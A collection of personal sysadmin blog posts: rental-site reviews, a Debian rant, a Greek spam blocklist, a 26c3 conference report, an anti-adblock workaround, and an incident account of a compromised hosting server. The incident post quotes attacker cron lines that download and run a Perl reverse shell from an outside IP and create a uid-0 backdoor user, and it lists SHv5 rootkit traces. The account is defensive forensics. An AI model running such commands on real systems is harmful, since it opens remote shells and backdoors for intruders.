First of all I found some sites with real estate listings. The ones I found/used/tried to use were: Χρυσή Ευκαιρία, Rento, Spitogatos and aggelies ta nea.

Each one though has it own benefits and problems, apart from some who only have problems.
Aggelies Ta Nea:
pros
None. I can’t find anything innovative about this site.
Cons
i) It has very few listings of places to rent in the areas I liked (downtown Athens).
ii) It is full of listings by real estates agents who ask you as payment one full rent if they manage to find you a house.
iii) There’s no map showing where each house is.
iv) There are pics of very very few houses in the listings.

Spitogatos:
Pros:
This site has a really neat feature, price per square meter. It’s quite nice to have the site calculate it for you.
Cons:
i) It has very few listings of places to rent in the areas I liked (downtown Athens).
ii) It’s default drop down price filtering boxes are a bit weird. It goes from 150->200->300->500->750>1000 Euros. So if I choose a price range of 300-500 euros I get a url like this:

http://www.spitogatos.gr/gr/search/results/residential/rent/r100/m2011m/nd/all/300/500/nd/85/nd/nd/nd/nd/nd/nd/nd/nd/all/rankingScore_desc

If I change it to:

http://www.spitogatos.gr/gr/search/results/residential/rent/r100/m2011m/nd/all/350/450/nd/85/nd/nd/nd/nd/nd/nd/nd/nd/all/rankingScore_desc

I get exactly what I wanted.
Having drop down boxes might be fine for some people, but they don’t let me be as specific as I would like. A form to fill the price range by hand would be a lot more useful for me.
iii) There’s no map showing where each house is.

Rento:
Pros:
i) Rento is the most innovative site I found. Every house listing is on google maps and you can access its details by just clicking on a house.
ii) It also features a VERY innovative search bar. You actually type a sentence about the house you would like and it searches for it.
iii) Each listing has pictures
iv) You can contact the owner by email
v) There’s an option to note each listing you like so you get something like “bookmarks”.

Cons:
i) It has very few listings of places to rent in the areas I liked (downtown Athens).
ii) The search bar did not have a negation clause. You can’t search for “not something”. So since I didn’t want a ground flour house, I couldn’t filter them out.
iii) The search bar would sometimes filter more than you asked for. If I searched for a price range of 350-450 and got some houses, then if I search for a 40-60 sq. meters I got some others. If I searched for both the price range and the sq. meters I got very very few results.
iv) Many of the listings were quite outdated. Places had been rent weeks ago and the listings were still on the site. (I guess that’s a problem with real estate sites…owners don’t tell the sites whether the house has been sold/rented when that happends).
v) There’s no way to see the most recently placed listings.

The awkward thing about Rento was that I met the people who manage it in a Ruby meeting in Athens one week after I got the house. They were aware of these problems and they said that they have already corrected them and will push their changes to the site very soon. I sure hope so because the site is definitely worth it.

One suggestion for rento would be to have an option to export as kml the “bookmarked” houses.

Χρυσή Ευκαιρία:
Pros:
i) Many many houses listed.
ii) The filtering for the search works very well.

Cons:
i) Very few pics of the houses (if any)
ii) Not every house is listed on a map
iii) In order to get the owner’s telephone you have to send an sms, or call a number and pay some amount of money.
iv) Not every house has an address listed.

I ended up using Χρυσή Ευκαιρία due to it’s massive database with listed houses. I tried to use rento and spitogatos but I just couldn’t find what I wanted. (Maybe I’ll get luckier when I’ll try to move to a new house.)

I then created an unlisted google map called “new houses” and started placing marks on the houses from Χρυσή Ευκαιρία that I liked, sorted by date of last update, and were placed on a map in the site. Then I started calling the owners of the rest to find out where they were. If they were in a place that I liked I made an appointment to go and check the house.
I placed all the appointments at the “TagToDo List” application for my android.
Unfortunately I couldn’t use the “My maps Editor” by Google on my android due to some bug it stopped connecting to google maps. It would be really useful to have this app because I could have all the places I placed on “new houses” and have them with me. Instead I had to print the maps with the marks on them.

Finally in order to walk around the city and not get lost I used the Rmaps application. It’s so much better than the standard google maps because you can get many different maps, and with the addition of GPS Status you can copy paste your exact location to any notes applications you might be using on android to track new houses you find while walking.

<rant>
On my laptop (Macbook 4,1) I run Debian testing/experimental which was running quite smoothly since I installed it apart from the couple few weeks.

The first problem I faced was java not running inside browsers. Firefox, Iceweasel, Opera, google-chrome…nothing. I spent at least 2 hours installing/uninstalling various java packages, moving plugins to new locations and I couldn’t get it to work. I was furiously googling about the issue until I hit the jackpot: squeeze : in case you have no network connection with java apps ……

Today I upgraded xserver-xorg-input-synaptics from 1.2.0-2 to 1.2.1-1. Even though it is a minor version bump a kind fairy also told me to reboot…I rebooted and my touchpad was not working properly, tapping was lost, I couldn’t use synclient because shared memory config (SHM) was not activated and so on and so on. My dynamic config using hal was there, /var/log/Xorg.0.log said that I was using the proper device and lshal showed correct settings for the device. I read /usr/share/doc/xserver-xorg-input-synaptics/NEWS.Debian.gz nothing new. After some googling another jackpot: Bug#564211: xserver-xorg-input-synaptics: Lost tapping after upgrading to 1.2.1-1. For some reason touchpad config has moved to udev from hal and the maintainers didn’t think it was important enough that needed to be documented someplace or put it in README.Debian…

The last issue I am having is with linux-image-2.6.32-trunk-686-bigmem not working correctly with KMS and failing with DRM.
[ 0.967942] [drm] set up 15M of stolen space
[ 0.968030] nommu_map_sg: overflow 13d800000+4096 of device mask ffffffff
[ 0.968085] [drm:drm_agp_bind_pages] *ERROR* Failed to bind AGP memory: -12
[ 0.968159] [drm:i915_driver_load] *ERROR* failed to init modeset
[ 0.973067] i915: probe of 0000:00:02.0 failed with error -28

linux-image-2.6.32-trunk-686 works fine with those though.
[ 0.973466] [drm] set up 15M of stolen space
[ 1.907642] [drm] TV-16: set mode NTSC 480i 0
[ 2.137173] [drm] LVDS-8: set mode 1280x800 1f
[ 2.193497] Console: switching to colour frame buffer device 160x50
[ 2.197435] fb0: inteldrmfb frame buffer device
[ 2.197436] registered panic notifier
[ 2.197442] [drm] Initialized i915 1.6.0 20080730 for 0000:00:02.0 on minor 0

Xorg is amazingly sluggish using linux-image-2.6.32-trunk-686-bigmem kernel. I search the debian bugs database and noone seems to have reported such an issue. But google came up with: [G35/KMS] DRM failure during boot (linux 2.6.31->2.6.32 regression). The issue looks solved so I will try and report it to Debian and see what comes out of it…
*Update* Bug Report: http://bugs.debian.org/cgi-bin/bugreport.cgi?bug=567352

If you dare to comment saying “that’s what you get for using experimental” I really hope and curse you to spend 3 hours today to try and figure out what has changed in a minor version upgrade of one of your installed packages.
Even worse, if you are on those guys that kept telling me “don’t use stable, testing is stable as a rock, never had a problem in years…” then I curse you to spend a whole day trying to reconfigure something with no documentation
<rant></rant>

Until today the list peaked at 70 subscribers…I hope this will make more people trust my filter list and reach at least 100 subscribers.

As a sidenote, my RBL for Greek spam has moved to a new, better server thanks to a very kind person who donated it and some people administering mail servers have already added it to their spam filters. Since the original announcement the RBL jumped from 500 reqs/min to 2000 reqs/min.

The list is strictly moderated by me and only me and I try to be very selective on hosts I add to the list. The list contains hosts not only in .gr zone but also “foreign” hosts used to send spam messages either in Greek language or of Greek interest.

There’s a minimalistic guide on using it with spamassassin, exim, sendmail and postfix on GrRBL’s website. There are currently no statistics and no public listing of IPs in the blacklist. If there’s enough demand for statistics I might create some.

There’s also NO automatic deletion support, once an IP is in the list there’s no automatic way out. Since I am the only one adding IPs to the list, I am also the only one removing them, manually of course.

Even though I use GrRBL in all of the mail servers I own/manage, still I consider the service as beta. I don’t think it’s ever going to eat your emails, but you are still the only one responsible if this happens.

To submit new spam messages for inclusion please send me an email with FULL headers of the spam message to grrbl [at] void [dot] gr and I will try to take a look at it as soon as possible.

If you use it, or plan to, please leave a comment or even better, submit some spam messages so the list gets bigger and better.

P.S. In case you wonder, yes the list contains the IPs of the notorious sofokleous10 spammer.

After a canceled flight on the 26th of December due to fog on SKG airport we finally flew on the 27th and went to Berlin. After arriving there we immediately went to the hotel we had booked and then straight to the Berliner Congress Center where the 26c3 was taking place.

BCC is an excellent conference center, nothing close to anything I have ever seen in Greece. It looks great both from the outside and from the inside. When we entered BCC we saw a huge number of diverse people. You could see and feel the difference with all the other IT conferences. People were very relaxed, very talkative and extremely friendly. What makes CCC so special is it’s community. There were soooo many CCC volunteers inside the BCC willing to help you with any information you might need. More on that later on…

After paying just 80€ for the whole conference, 4 days, we started walking around the ground floor. There were many information desks of various projects, free PCs to use (loaded with Ubuntu), the huge lounge which included a bar for food and drinks with lots of seats for people and 2 rooms for presentations. On the upper floor there were many more projects and another large room for presentations.

What made BCC so lively were all these projects around the presentation rooms. There were always hundreds of people sitting outside of the presentation rooms hacking on their projects, discussing with other people, selling merchandise, etc. Because it was our first time in the conference we were not experienced enough to use our time wisely between the lectures so I only managed to visit very few projects, Cacert, Gentoo and Debian. I am sure that there were people who did not attend any lectures at all and just sat all day at their projects’ infodesk.

Before I continue with the presentations we went to I want to make a note about volunteers again. Volunteers at 26c3 were called angels and they did an EXCELLENT job. They would not allow you to sit wherever you liked at a lecture, they would try to find you a seat or they would put you on a place where you could stand without blocking others. Nobody was allowed to sit at the corridors, nobody. Everything was in order and I never ever heard a single person complain about angels’ policy. They were strict and firm on one hand but helpful, fair and polite on the other. They were probably the best volunteers I have ever faced anywhere. All of them were carrying an ID and a DECT phone on them to cooperate with other angels (oh yes, the conference had it’s own DECT network…AND it’s own GSM network!!!) Funny quote: Angels at the entrance and exit doors wore t-shirts that wrote “Physical ACL”, heh.

The very first presentation we attended was “Here Be Electric Dragons“, and then we moved to see “Exposing Crypto bugs through reverse engineering“. After a break we tried to go to the “GSM: SRSLY?” lecture but it was SOO full that we were not allowed to go inside the presentation room. So we went to the “Tor and censorship: lessons learned” presentation which was more interesting than I expected. The final talks we saw on the first day were: “UNBILD – Pictures and Non-Pictures” which was in German and of course “cat /proc/sys/net/ipv4/fuckups“. Since none of us spoke German there was no urge to see the UNBILD lecture, but as we painfully understood by not being able to even enter the presentation room for the “GSM: SRSLY?” lecture, you have to go a LOT earlier to see a good lecture. We definetely wanted to see fabs lecture so we went there an hour earlier to find some seats. By the way, outside of the presentation rooms were TVs with live streaming from inside for people who couldn’t go inside or for people who didn’t want to. As I said earlier a lot of people preferred sitting at their projects’ infodesk and watched the streams of the presentations.

On the next day we saw: “Milkymist“, “Advanced microcontroller programming“, “Fuzzing the Phone in your Phone“, “Defending the Poor, Preventing Flash exploits“, “Haste ma’n netblock?” and “SCCP hacking, attacking the SS7 & SIGTRAN applications one step further and mapping the phone system“.

On the third day just “Playing with the GSM RF Interface“, “Using OpenBSC for fuzzing of GSM handsets” and “Black Ops Of PKI” since we decided to do some sightseeing as well

Finally on the last day we went to “secuBT” and from that to another German lecture about a distributed portscanner called Wolpertinger that replaced a canceled lecture on IBM AS/400. Afterwards we went to the realtime English translation stream of “Security Nightmares” and to the “Closing Event“.

I had a really great time and I certainly want to be there again next year. If I manage to go there again though I will try take a lot more days off work so I can visit many more places around the city. The whole event was excellent, the organization was almost perfect and the people who contributed to it deserve a huge applaud, especially the angels.

Congratulations to all.

Necessary pics:

P.S. I don’t want to go into specific details about the lectures I attended. Some were REALLY good, some were average and some were totally boring. If you follow the news you already know which streams of lectures you should certainly download and see. You can find every lecture on CCC’s FTP server.

P.S.2 What a great wiki for an event…I was amazed by the amount of information one can find in there…

P.S.3 To Greeks only…please download the closing event presentation to see how we should start organizing events. Just check on the efforts of the people who contributed to the 26c3 event. I don’t want to write anything more about this issue because the difference with any Greek event I’ve ever attended to, or even the mentality of the people attending “our” events is SO SO SO HUUUUGE that it makes me really sad. I hope that this might fire up something. If more Greeks attended events organized abroad then maybe one day we might get more serious about our events as well.

You Are Using Adblock Plus or some other advert blocking software! Archivum.info relies on advertising for revenue. Please add www.archivum.info to your ad blocking whitelist or disable ad blocking when you visit www.archivum.info.

When I first saw this I laughed…and then I tried to find a way to bypass it.
I used curl to see the sites html code:

$ curl -v www.archivum.info
curl -v www.archivum.info 
* About to connect() to www.archivum.info port 80 (#0)
*   Trying 69.147.224.162... connected
* Connected to www.archivum.info (69.147.224.162) port 80 (#0)
> GET / HTTP/1.1
> User-Agent: curl/7.19.5 (i486-pc-linux-gnu) libcurl/7.19.5 OpenSSL/0.9.8k zlib/1.2.3.3 libidn/1.15 libssh2/1.2
> Host: www.archivum.info
> Accept: */*
> 
< HTTP/1.1 200 OK
< Date: Tue, 17 Nov 2009 11:24:22 GMT
< Server: Apache
< Last-Modified: Mon, 16 Nov 2009 08:41:17 GMT
< Accept-Ranges: bytes
< Content-Length: 9392
< Vary: Accept-Encoding
< Content-Type: text/html
< 
<html>
<head>
<title>archivum.info - The Internet archive.</title>
<meta http-equiv="Content-Type" content="text/html; charset=iso-8859-1">
<script type="text/javascript">var disabled = false;</script><script type="text/javascript" src="http://www.archivum.info/js/adblocker_probe.js?
site=http://googlead.foobar.tld/"></script><script type="text/javascript">if (disabled == false) { location.replace("http://www.archivum.info/denied");
alert("You Are Using Adblock Plus or some other advert blocking software! Archivum.info relies on advertising
for revenue. Please add www.archivum.info to your ad blocking whitelist or disable ad blocking when you visit
www.archivum.info.");}</script></head>

[snip]

Here’s how this site blocks Adblockplus: there’s a variable called disabled set to “false” then if a js (http://www.archivum.info/js/adblocker_probe.js) runs it sets disabled to “true” . The hint is that adblockplus blocks urls starting with “googlead.” so it won’t visit “http://www.archivum.info/js/adblocker_probe.js?site=http://googlead.foobar.tld/” and the variable will remain “false“. Then the alert pops up.

The solution is very simple, just add an exception to your local AdblockPlus rules, AdblockPlus Preferences -> Add Filter:
@@|http://www.archivum.info/js/adblocker_probe.js?site=http://googlead.foobar.tld/

So firefox, visits the js url, disabled becomes “true” you are allowed to continue browsing the site and AdblockPlus continues blocking all blockable items.

Not bad at all regarding the owner of the servers, but still I have many security related concerns about the hosting company

OSSEC HIDS Notification.
2009 Oct 06 17:45:17

Received From: XXXX->rootcheck
Rule: 510 fired (level 7) -> "Host-based anomaly detection event (rootcheck)."
Portion of the log(s):

Rootkit 'Suspicious' detected by the presence of file '/var/www/vhosts/YYYY.com/httpdocs/album_mod/..  /.../.log'.

 --END OF NOTIFICATION

OSSEC HIDS Notification.
2009 Oct 06 17:45:17

Received From: XXXX->rootcheck
Rule: 510 fired (level 7) -> "Host-based anomaly detection event (rootcheck)."
Portion of the log(s):

Rootkit 'Suspicious' detected by the presence of file '/var/www/vhosts/YYYY.com/httpdocs/language/lang_english/     /... /.log'.

 --END OF NOTIFICATION

OSSEC HIDS Notification.
2009 Oct 06 17:45:17

Received From: XXXX->rootcheck
Rule: 510 fired (level 7) -> "Host-based anomaly detection event (rootcheck)."
Portion of the log(s):

Rootkit 'Suspicious' detected by the presence of file '/var/www/vhosts/YYYY.com/httpdocs/language/     /... /.log'.

 --END OF NOTIFICATION

Just found this by copying some files for a client from his previous hosting company to one of the hosting servers of a company I work for.

There were actually 2 different sets of files.
The first one contained a tool that “hides” a process, called: “XH (XHide) process faker”, and the second one contained an iroffer executable.

Files:
i)xh-files.tar.gz
Listing:
.log/
.log/.crond/
.log/.crond/xh
.log/week~
.log/week

ii)iroffer-files.tar.gz
Listing:
.--/
.--/imd.pid
.--/imd.state.tmp
.--/imd.state
.--/linux

Mind the . (dot) of the directories containing the files.

Some details, the server had 2 disks, sda with the OS (Debian 4.0) with Plesk control panel and sdb which had some backup files.

October 1st 2009:
10:10 I got a telephone call to help on that server because it looked dead and it couldn’t even be rebooted from the hosting’s company control panel.
10:15 I contacted the company’s support by email and notified them of the problem.

10:23 I got an email that the engineers would take a look at he problem as soon as possible.
11:01 I got another email from an engineer telling me that he will take a look at the server and will notify me with updates on the issue.
11:36 I got the following email:

There is something wrong with either the drive or the drives drivers.
While booting it gives strange errors that the drive is busy and cant be
accessed. After rebooting it gives me a bootdisk failure.

I will run some tests on the drive to see if it is faulty. If so I will
update you and replace the drive.

This all is regarding the first drive ’sda’.

I hope to have informed you sufficient. When I know more I will update you.

11:59 Another email from tech support:

I would like to update you about the following.

After trying to do some tests the only result I have is that the drive
can’t be found by my harddrive checking software. This usually indicates
that the drive is faulty.

I hope you have all your data back-upped or you have it on the second
disk (which seems to be fine).

I will replace the harddrive for you and reinstall your system.

When this is done I will update you. If you have any questions or
suggestions before I replace the drive please let me know.

I hope to have informed you sufficient.

12:08 I replied:

You have informed me more than sufficiently…unfortunately though you
didn’t have any good news to tell me…

I have backups offline, and I might even have some on the second disk
as far as I can remember. So just re-install Debian with Plesk on it
and I will import back my settings.

Thanks a lot for your time and work, I really appreciate it

14:41 New email from tech support:

I would like to inform you about your server XXX.

Fortunately i have good news for you! Because you (seem to have) used your harddrive in a
raid-1 configuration, i was able to replace the broken harddrive. After this i was able to
succesfully boot your machine. After checking: the new harddrive is being recognized and it
is ready to use.

Hope to have informed you sufficiently. If you have any further questions do not hesitate to
contact us again.

Now, THAT was strange. There was no raid-1 config on the drives. The machine was pingable and I could ssh to it. I entered the box and I found myself in the old sda drive but with a totally different sdb disk attached. It was a disk with another installation inside, from someone else who had a raid-1 config. I can only guess that tech support somehow mixed up the disks from his box and “my” server so I got his second raid-1 disk. sda was _NOT_ changed! That meant that the “backup” disk was gone but sda was working. I quickly created a backup dir on sdb and rsync-ed the whole sda to sdb, sdb had just a basic install inside, only 3Gb out of 80Gb were used. Some files were corrupt though and S.M.A.R.T. reported errors from time to time while copying.

15:23 I emailed them back to notify them that they did not actually change sda

The box might be up but the disk (sda) is in a very bad condition.
S.M.A.R.T checks report this
Oct 1 14:09:04 XXX smartd[2889]: Device: /dev/sda, 1 Offline
uncorrectable sectors

I can’t use mysql as well, it reports broken tables. I can restore the
tables from backup but I would need a good working disk to do that.

From the following 2 diagrams I can see that you replaced sdb and not sda.

http://XXX/munin/YYY/XXX-smart_sda.html

http://XXX/munin/YYY/XXX-smart_sdb.html

Can you please let me know of what changed ? I got confused.
If possible please call me at +555-1234 or +5555-5678 for details

16:52 Email response from tech support:

Regarding your server XXX, I would like to inform you with the following.

It indeed looks like we replaced the wrong drive for you. Since I read
you have offline backups. I would like to replace both harddrives in
your server.

Please let us know if we can replace both drives and reinstall your
server from scratch.

If you have any other questions, don’t hesitate to contact us again.

17:05 I replied:

Since you have replaced sdb already I took another system backup on
that disk in order to save bandwidth and precious time.

What I would like from you to do is to see whether you can take an
exact image of “sda” to another 80Gb disk and put that new sda disk on
the machine to boot (probably using a disk imaging tool or linux dd
command). That would save both you and me looooots of time since I
would just have to replace the damaged files on the system and you
don’t have to re-install.

If imaging sda fails, then you can resort back to re-installing.

To help you identify the drives:
sda is Western Digital:
=== START OF INFORMATION SECTION ===
Model Family: Western Digital Caviar SE (Serial ATA) family
Device Model: WDC WD800JD-75MSA1
Serial Number: WD-XXXXXXXXXXXX
Firmware Version: 10.01E01
User Capacity: 80,000,000,000 bytes
Device is: In smartctl database [for details use: -P show]
ATA Version is: 7
ATA Standard is: Exact ATA specification draft version not indicated
Local Time is: Thu Oct 1 16:03:19 2009 CEST
SMART support is: Available – device has SMART capability.
SMART support is: Enabled

and sdb is Maxtor:
=== START OF INFORMATION SECTION ===
Model Family: Maxtor DiamondMax Plus 9 family
Device Model: Maxtor 6Y080M0
Serial Number: YYYYYYYYYY
Firmware Version: YAR51HW0
User Capacity: 80,000,000,000 bytes
Device is: In smartctl database [for details use: -P show]
ATA Version is: 7
ATA Standard is: ATA/ATAPI-7 T13 1532D revision 0
Local Time is: Thu Oct 1 16:04:08 2009 CEST
SMART support is: Available – device has SMART capability.
SMART support is: Enabled

Please leave Maxtor (sdb) as it is!

I clearly did not want to tell them that sdb had the installation of another guy because I wasn’t sure that they would be able to bring me back my old sdb. If they couldn’t I would have to transfer all the backup data I had offline through the net, which would surely take a reaaaaally longer time than copying from disk to disk. If they left the new sdb on the box though I could easily copy most part of the system to the “new” sda when they would put it and only restore the corrupted files.

18:05 New email from tech support

In reply to your email, I would like to inform you with the following.

One of our engineers will try making an image of sda to a new disk as
soon as possible. The engineer will update you about the progress.

If you have any qeustions in the meantime, don’t hesitate to contact us

October 2nd
09:52 New email from tech support:

I would like to inform you on this ticket.

Your server was re-installed with Debian last night.
This morning I have completed the Plesk install.

Server details:

- XXX
- IP: AA.BB.CC.DD
- Password (root): ABCDEFGHIJK

Plesk Details:

- Plesk 8.6
- https://AA.BB.CC.DD:8443
- Password (admin):LMNOPQRSTU

If you need any further support on this ticket, please inform us.

This is a really bad policy. Sending an email with root login details is totally unacceptable for my security standards, and I usually don’t nag about security _that_ much. But an email with the root password ? Come oooon….

Anyway, I started the restore procedure from sdb to sda. At about 12:00 everything was mostly working again. At about 14:00 I had this brilliant idea to upgrade the kernel. The box had 2.6.18-6-486 so I decided to install 2.6.24-etchnhalf.1-686. The output of apt-get install linux-image-2.6.24-etchnhalf.1-686 was a bit weird though. It contained these lines among others:
Searching for splash image ... none found, skipping ...
/bin/ls: invalid option -- v Try `/bin/ls --help' f or more information


ls did not have a “-v” option ? This couldn’t be right…I issued an ls -v manually:
# /bin/ls -v
/bin/ls: invalid option -- v
Try `/bin/ls --help' for more information.
# /bin/ls --version
ls - GNU fileutils-3.1

Gnu fileutils ? I go check /bin/ls on another Debian 4.0 box. ls -v works there and I also get

# ls --version
ls (GNU coreutils) 5.97
Copyright (C) 2006 Free Software Foundation, Inc.
This is free software.  You may redistribute copies of it under the terms of
the GNU General Public License <http://www.gnu.org/licenses/gpl.html>.
There is NO WARRANTY, to the extent permitted by law.

Written by Richard Stallman and David MacKenzie.

I checked /mnt/backup/bin/ls (the sdb drive I had taken a backup of the previous sda). It correctly showed the coreutils 5.97 version.
I started thinking that something was totally wrong with the installation. I tried to reinstall coreutils. Then I got a new set of errors.
unable to make backup link of `./bin/ls' before installing new version: Operation not permitted

Ok…I knew by then that this was BAD. The machine was probably hacked and had some type of rootkit installed. I just wanted to make sure.
# lsattr /bin/ls
s---ia------- /bin/ls
# lsattr /bin/ps
s---ia------- /bin/ps
# lsattr /sbin/ifconfig
s---ia------- /sbin/ifconfig
# lsattr /bin/netstat
s---ia------- /bin/netstat
# lsattr /usr/bin/md5sum
s---ia------- /usr/bin/md5sum

Helloooo rootkit. The files had the following extended attibutes set:
a: A file with the ‘a’ attribute set can only be open in append mode for writing. Only the superuser or a process possessing the CAP_LINUX_IMMUTABLE capability can set or clear this attribute.
i: A file with the ‘i’ attribute cannot be modified: it cannot be deleted or renamed, no link can be created to this file and no data can be written to the file. Only the superuser or a process possessing the CAP_LINUX_IMMUTABLE capability can set or clear this attribute.
s: When a file with the ‘s’ attribute set is deleted, its blocks are zeroed and written back to the disk.

Using the ps executable from /mnt/backup/bin/ps I was able to check the processes for things that did not appear when using the trojaned /bin/ps.
I diff-ed the output of the 2 ps commands and here’s the result:

root      2695  0.0  0.0   2064   512 ?        Ss   10:59   0:00 /sbin/ttyload -q
root      2697  0.0  0.0   1692   568 ?        S    10:59   0:00 ttymon tymon

I opened vim on /sbin/ttyload file and I saw among the headers:
^@$Info: This file is the propert of SH-crew team designed for test purposes. $
^@$Nr: SH- April/2003 produced in SH-labs for Linux Systems.Run and enjoy. $


A netstat -anp using a /mnt/backup/bin/netstat showed ttymon listening on raw:1 socket.

But how was ttymon loaded at startup ?
Inside the /etc/inittab file I found the following:
# Loading standard ttys
0:2345:once:/usr/sbin/ttyload

/usr/sbin/ttyload contained the following:
/sbin/ttyload -q >/dev/null 2>&1
/sbin/ttymon >/dev/null 2>&1

With Google’s precious help I was able to determine/identify that the rootkit installed was SHv5.

Ok, the server was hacked, it contained a rootkit but how did the attacker manage to compromise it ? I started checking on the logs. Syslog first of course. I used /mnt/backup/usr/bin/less /var/log/syslog, among other useless things I saw the following entries:
Oct 2 08:23:01 IQS002 /USR/SBIN/CRON[21227]: (root) CMD (cd /var/ && rm -rf prs2.pl && wget http://QQ.RR.EE.TT:64891/prs2.pl && perl prs2.pl && echo main.c)
Oct 2 08:23:01 IQS002 /USR/SBIN/CRON[21229]: (root) CMD (/usr/sbin/useradd -d /usr/local/psa/plesk -g root -G root -s /bin/sh -p "9XRcZIXmTrZ/6" plesk-root && /usr/sbin/usermod -u 0 -o plesk-root)


So there was a crontab entry which download a file, ran it and then another crontab entry created a new user called plesk-root.
I downloaded the prs2.pl file and it was a perl reverse shell. It’s apparent that whoever did it had already access to the box at 08:23 in order to install the crontab entry, remember that I was given access to the box by the email sent at 09:52.

That made me FURIOUS. I can’t stress furious with enough boldness…only a <blink> tag can show how mad I was at the time with the tech support.

I notify the guy who told me to take a look at the server and we decide that I would go to his office to call the hosting company’s tech support on the phone. While driving I also called a friend to ask him about raw socket listening details…(thanks man).

I arrive at his office, I show him my findings and we call tech support. I try to explain to the nice lady that picked up the phone that I had a serious security issue with a dedicated server and that I wanted to speak to the specific engineer that installed the server, I knew his name from the emails. Instead of giving me that specific engineer I was transfered to talk to another guy. I told him the ticket number and he put me on hold for 10 minutes to read the ticket. He then came back and I told him to login to the box. He said he couldn’t. I told him that I have changed the sshd port to port number XXX but he said he could still not login. I told him to use ssh -p XXX root@IP to login but he said he couldn’t login. He also asked me to reset the root password to the one they sent by email. I couldn’t stand him much longer so I told him I would do it and that I would send him specific login details by email and that he should call me back immediately after receiving the email. And so I did.

15:53 I sent the tech support the following email:

ssh -p 222 root@AA.BB.CC.DD
the password is: ABCDEFGHIJK

telephone number: +5555-3456

Nothing was happening. They neither called me nor logged inside the box.

16:10 I sent another email…and I was angry…really angry

what’s taking you so long…I told you this is an important security
issue on your side and you had me 10minutes on call waiting…You told
me you couldn’t connect with ssh (??) and I mailed you back the login
details and still nothing happens after another 15 minutes.

Not even an attempt to login to the box. Please call me at
5555-3456 as soon as possible.

16:32 The phone rings and an engineer tells me he finally logged inside the box and that he was waiting for my instructions on what to look at. At that moment I was writing a new email to them, so I sent it to him and told him to read it and then I could show him more details. I sent him the following email:

The following excerpt from syslog clearly show that the machine was
compromised _before_ you gave it to me…

Oct 2 08:23:01 IQS002 /USR/SBIN/CRON[21227]: (root) CMD (cd /var/ &&
rm -rf prs2.pl && wget http://195.67.149.70:64891/prs2
.pl && perl prs2.pl && echo main.c)
Oct 2 08:23:01 IQS002 /USR/SBIN/CRON[21229]: (root) CMD
(/usr/sbin/useradd -d /usr/local/psa/plesk -g root -G root -s /bin/
sh -p “9XRcZIXmTrZ/6″ plesk-root && /usr/sbin/usermod -u 0 -o plesk-root)

I entered the machine at 9:30. This is the output of last command:
root pts/0 ppp-94-68-80-4.h Fri Oct 2 09:29 – 10:33 (01:04)
root pts/0 85.17.130.250 Fri Oct 2 08:30 – 09:03 (00:33)

At first he denied that it was their problem. Then I started almost shouting at the phone and told him to pay attention at the time. I also told him about the attributes of the files trojaned ls,ps,netstat,etc files… He finally apologized and said that this was a terrible error from their side and that he would forward the ticket to a specific security group inside the tech support for further investigation.

16:50 I receive another call and they told me that they found out that their Plesk installation script “used a default password while installing” and that was taken advantage by the attacker and he got access to Plesk and then of course he could do anything he wanted. He apologized again and he asked me what I wanted to do. I told him that I wanted him to replace sda again with a new disk and re-install Debian and Plesk with caution. I was specific to let him know that I didn’t want them to even touch sdb. I also told him that I needed some 30minutes time to take backups from the disk. We agreed to send them an email when I would be ready.

I didn’t actually want to take a backup of the system, I had the backup on the sdb drive. What I wanted to do was to cover as much evidence as possible from the rootkit and see whether the attacker had anything left on the box. I couldn’t find much, so I just gathered some trojan executables, the ttymon, ttyload files and put them on a tarball and then to sdb.

17:11 I sent them an email:

As we agreed please proceed in re-installing the system on sda leaving
sdb _as it is_.

17:48 Email from tech support:

In reply to your email, I would like to inform you with the following.

I’ll start the installation as soon as possible. And I will inform you
about the progress.

If you have any questions in the meantime, don’t hesitate to contact me
again.

Again nothing was happening for hours and hours…

22:01 I sent them a new email:

Hello,
I was told on the phone that the installation would take place today.
I still can’t see anyone shutting down the box and re-installing
it…is someone taking care of this ticket ?

October 3rd
02:47 I finally receive an email from tech support

I would like to update you on the status of your ticket.

I apologise for the delay with the reinstallation of your server. I will
begin the reinstall shortly.

I will keep you informed.

03:33 I reply:

This issue is getting harder and harder to solve by the hour, first
you change the wrong disk, then you hand me a compromised box and now
I get this big delay…
This should have been a priority ticket at least since the security
incident. I think we deserved some more attention…

04:17 I got a reply:

Thank you for your mail. I would like to update you on the status of
your server.

I am in the process of reinstalling your server. All that remains is to
complete the Plesk installation. I am doing my best to complete this for
you as soon as possible.

I will inform you once the process is complete.

06:13 A new email from tech support:

I would like to update you on the status of your server.

XXX has been reinstalled with Debian 4 32-bit and Plesk 8.6. The
details are as follows:

LOGIN
IP Address: AA.BB.CC.DD
Password: ABCDEFG

PLESK
Url: https://AA.BB.CC.DD:8443
Username: admin
Password: KLMNOPQR

Please do not hesitate to contact us if you require any further assistance.

before doing any copying of files from sdb to sda I checked the server for ls -v…

Some notes as a conclusion.
i) This is the worst customer support I’ve seen to date. I’ve opened tickets before on that hosting company, even for similar cases like replacing disks, motherboard and RAM and I always got first class customer support. This makes me think that its the specific engineers who handled my ticket are the root of the problem and not the tech support team as a whole. Should I call their supervisor and notify him explicitly on the problem they created or should I just try to forget about them ?
ii) It really strikes me as odd that the attacker knew the exact time and IP of the box at the seconds of the Plesk installation. I know this might sound like a conspiracy theory, but there’s a good chance that the engineer who handled the first installation was somehow involved with the attack. Maybe his box is also compromised by the attacker. The 2 installations on the box happened by a different engineer each time. In fact the guy who did the first installation has never responded to any further emails of the ticket. The ticket was probably handed off to some other engineers.
iii) Never ever trust a box you’ve been handed to be safe and secure. At least I won’t ever again. An automated attack doesn’t take more than a few seconds to take place. Don’t use any of your passwords on a new box. Don’t ssh to anywhere else before you make sure there’s nothing wrong with it. I was lucky this time because I didn’t connect to any other server, but from now own this will be a “policy” for me.
iv) How stupid is it to send a cleartext email with a root password and the IP of a box in it ? The hosting company has a control panel secured by HTTPS with a valid certificate, they should use that control panel to provide new login details to customers. Sending cleartext login details by email is totally unacceptable as a hosting company policy.
v) I think the owner of the box reserves some refund by the hosting company. The guy pays quite a lot of money to the hosting company for this dedicated box and for the others, they delayed him and if I weren’t careful enough he could have been handed with a trojaned box and keep using it for a long long time. I could also have been thanked for what I told them. Their installation scripts were bad/faulty/compromised/whatever, there could be a dozen/hundred other infected boxes on that hosting company right now. I don’t want to go public with the name of the hosting company yet since it’s still early and it’s a weekend, but if they don’t do something on the next couple of days I think that I should do it. What do you people think on this ?

Files: i) prs2.pl
ii) SHv5 rootkit: just google for shv5.tar.gz…you’ll get lots of sources.

References: a) http://forums.debian.net/viewtopic.php?p=160255
